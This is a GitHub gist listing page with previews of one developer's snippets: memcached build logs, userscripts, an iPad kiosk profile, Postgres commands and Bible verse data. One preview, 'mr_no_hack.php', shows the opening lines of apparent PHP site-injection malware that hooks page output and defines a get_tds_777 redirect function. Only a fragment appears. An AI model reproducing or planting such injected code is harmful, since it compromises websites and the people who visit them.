Skip to content

Instantly share code, notes, and snippets.

View broken inheritance.js
if (typeof Object.create !== 'function') {
Object.create = function (o) {
var F = function() {};
F.prototype = o;
return new F();
};
}
var CarouselBase = function(){};
CarouselBase.prototype.cycle_interval = 15000;
@jeffmcfadden
jeffmcfadden / memcached gem fail
Created Oct 28, 2010
trying to build memcached on snow leopard
View memcached gem fail
libtool: install: /usr/bin/install -c .libs/libmemcached.lai /Users/jeffmcfadden/.rvm/gems/ruby-1.9.2-p0@rails3/gems/memcached-1.0.1/ext/lib/libmemcached.la
libtool: install: /usr/bin/install -c .libs/libmemcached.a /Users/jeffmcfadden/.rvm/gems/ruby-1.9.2-p0@rails3/gems/memcached-1.0.1/ext/lib/libmemcached.a
libtool: install: chmod 644 /Users/jeffmcfadden/.rvm/gems/ruby-1.9.2-p0@rails3/gems/memcached-1.0.1/ext/lib/libmemcached.a
libtool: install: ranlib /Users/jeffmcfadden/.rvm/gems/ruby-1.9.2-p0@rails3/gems/memcached-1.0.1/ext/lib/libmemcached.a
----------------------------------------------------------------------
Libraries have been installed in:
/Users/jeffmcfadden/.rvm/gems/ruby-1.9.2-p0@rails3/gems/memcached-1.0.1/ext/lib
If you ever happen to want to link against installed libraries
in a given directory, LIBDIR, you must either use libtool, and
@jeffmcfadden
jeffmcfadden / memcached gem fail full
Created Oct 28, 2010
Full build log of attempting to build memcached gem on snow leopard
View memcached gem fail full
Building native extensions. This could take a while...
ERROR: Error installing memcached:
ERROR: Failed to build gem native extension.
/Users/jeffmcfadden/.rvm/rubies/ruby-1.9.2-p0/bin/ruby extconf.rb
Building libmemcached.
tar xzf libmemcached-0.32.tar.gz 2>&1
Patching libmemcached source.
patch -p1 -Z < libmemcached.patch
patching file libmemcached-0.32/libmemcached/memcached_response.c
View Peter.rb
class Peter
def isTired?
hadClassToday? && Time.now.hour > 22
end
def hadClassToday?
true unless ( Time.now.wday == 0 || Time.now.wday == 6 )
end
def status
@jeffmcfadden
jeffmcfadden / Jaconda2.js
Created Jan 28, 2011
Jaconda UserScript v2
View Jaconda2.js
// ==UserScript==
// @name growl-notifications
// @namespace http://fluidapp.com
// @description What does this do?
// @include *
// @author Someone
// ==/UserScript==
//Jquery:
/*!
View Jaconda3.js
// ==UserScript==
// @name growl-notifications
// @namespace http://fluidapp.com
// @description What does this do?
// @include *
// @author Someone
// ==/UserScript==
//Jquery:
/*!
View mr_no_hack.php
<?php
if(function_exists('ob_start')&&!isset($_SERVER['mr_no']))
{
$_SERVER['mr_no']=1;
if(!function_exists('mrobh'))
{
/************************************************************\
*
\************************************************************/
function get_tds_777($url)
@jeffmcfadden
jeffmcfadden / ipad_kiosk.plist
Created Feb 29, 2012
iPad Kiosk Mode PList
View ipad_kiosk.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>PayloadContent</key>
<array>
<dict>
<key>PayloadDescription</key>
<string>Disables the home button.</string>
<key>PayloadDisplayName</key>
@jeffmcfadden
jeffmcfadden / postgres stopstart
Created Apr 17, 2012
StartStop Postgres Locally
View postgres stopstart
# I installed via homebrew
# Start
$ pg_ctl -D /usr/local/var/postgres -l /usr/local/var/postgres/server.log start
# Stop
$ pg_ctl -D /usr/local/var/postgres stop -s -m fast
# Make the DB:
View esv_ranges.rb
# list of books, padded with 0 to be 1-indexed
# each book is a tuple with name of book, # of chapters, [number of verses in each chapter]
# the list with the number of verses per chapter is padded to make it 1-indexed
passage_data = [0,
['Genesis', 50, [0, 31, 25, 24, 26, 32, 22, 24, 22, 29, 32, 32, 20, 18, 24, 21, 16, 27, 33, 38, 18, 34, 24, 20, 67, 34, 35,
46, 22, 35, 43, 55, 32, 20, 31, 29, 43, 36, 30, 23, 23, 57, 38, 34, 34, 28, 34, 31, 22, 33, 26]],
['Exodus', 40, [0, 22, 25, 22, 31, 23, 30, 25, 32, 35, 29, 10, 51, 22, 31, 27, 36, 16, 27, 25, 26, 36, 31, 33, 18, 40, 37, 21,
43, 46, 38, 18, 35, 23, 35, 35, 38, 29, 31, 43, 38]],
['Leviticus', 27, [0, 17, 16, 17, 35, 19, 30, 38, 36, 24, 20, 47, 8, 59, 57, 33, 34, 16, 30, 37, 27, 24, 33, 44, 23, 55, 46, 34]],
['Numbers', 36, [0, 54, 34, 51, 49, 31, 27, 89, 26, 23, 36, 35, 16, 33, 45, 41, 50, 13, 32, 22, 29, 35, 41, 30, 25, 18, 65, 23, 31,